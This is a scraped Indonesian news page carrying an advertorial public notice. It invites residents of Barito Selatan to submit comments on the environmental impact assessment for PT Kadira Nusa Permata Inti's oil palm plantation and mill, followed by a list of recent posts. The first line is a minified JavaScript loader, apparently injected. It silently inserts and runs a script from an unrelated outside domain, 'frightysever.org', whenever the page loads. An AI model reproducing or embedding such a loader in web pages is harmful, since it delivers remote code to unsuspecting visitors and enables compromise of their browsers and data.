(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Barito Selatan

Penyusunan Dokumen AMDAL PT Kadira Nusa Permata Inti, Masyarakat Terdampak Dipersilakan Sampaikan Saran Pendapat dan Tanggapan


KANALKALIMANTAN.COM, BUNTOK – Dalam proses pengajuan Analisis Mengenai Dampak Lingkungan Hidup (AMDAL), PT Kadira Nusa Permata Inti mengajukan upaya uji publik bagi warga terdampak rencana perkebunan kelapa sawit, dangan luasan 19.750 hektare di Kecamatan Jenamas dan Kecamatan Dusun Hilir, membangun dan mengoperasionalkan pabrik pengolahan kelapa sawit berkapasitas 90 Ton TBS/jam di Desa Tambatan, Kecamatan Jenamas, Kabupaten Barito Selatan, Provinsi Kalimanten Tengah.

Berdasarkan pada Undang-Undang RI Cipta Kerja No.11 Tahun 2020 Tentang Cipta Kerja Pasal 26, Hal.80 (2. Penyusunan dokumen Amdal dilakukan dengan melibatkan masyarakat yang terkena dampak langsung terhadap rencana usaha dan/atau kegiatan) dan Peraturan Pemerintah RI No. 22 Tahun 2021 Tentang Penyelenggaraan Perlindungan dan Pengelolaan Lingkungan Hidup yang menjelaskan Proses Analisis Mengenai Dampak Lingkungan Hidup (AMDAL) sampai kepada Perizinan Berusaha serta Peraturan Menteri Negara Lingkungan Hidup dan Kehutanan No. 04 Tahun 2021 Tentang Daftar Usaha Dan/Atau Kegiatan Yang Wajib Memiliki Analisis Mengenai Dampak Lingkungan Hidup.

Maka diberikan kesempatan kepada masyarakat yang terkena dampak, para pemerhati lingkungan, dan masyarakat yang terpengaruh atas segala keputusan dalam proses AMDAL untuk dapat menyampaikan saran, pendapat dan tanggapan (SPT) sebagai bahan kajian dalam proses penyusunan dokumen AMDAL.

 

 

Baca juga  : Hukum Vaksinasi saat Berpuasa, Begini Penjelasan Kepala Kemenag Banjarbaru

Batas waktu penyampaian saran, pendapat dan tanggapan adalah 10 hari kerja terhitung sejak pengumuman diterbitkan. Saran, pendapat dan tanggapan dapat disampaikan kepada :

Dinas Lingkungan Hidup Kabupaten Barito Selatan,
Jalan Bandara Sanggu, Kecamatan Dusun Selatan, Buntok, Barito Selatan, Kalimantan Tengah.

PT Kadira Nusa Permata Inti, Jalan Simpang Sei Mesa No 152 RT 013 Kelurahan Seberang Mesjid, Kecamatan Banjarmasin Tengah, (Kantor Pusat) Kota Banjarmasin, Kalimantan Selatan 70231.Telp. 0511-3273325 Jl. Pakusalam, Desa Danau Sadar, Kecamatan Dusun Selatan. (Kantor Cabang) Buntok, Kabupaten Barito Selatan, Kalimantan Tengah 73751. (Kanalkalimantan.com/adv)

Reporter : adv
Editor : kk


Desy Arfianty

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

17 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

22 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

22 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

2 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

2 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

2 hari ago

This website uses cookies.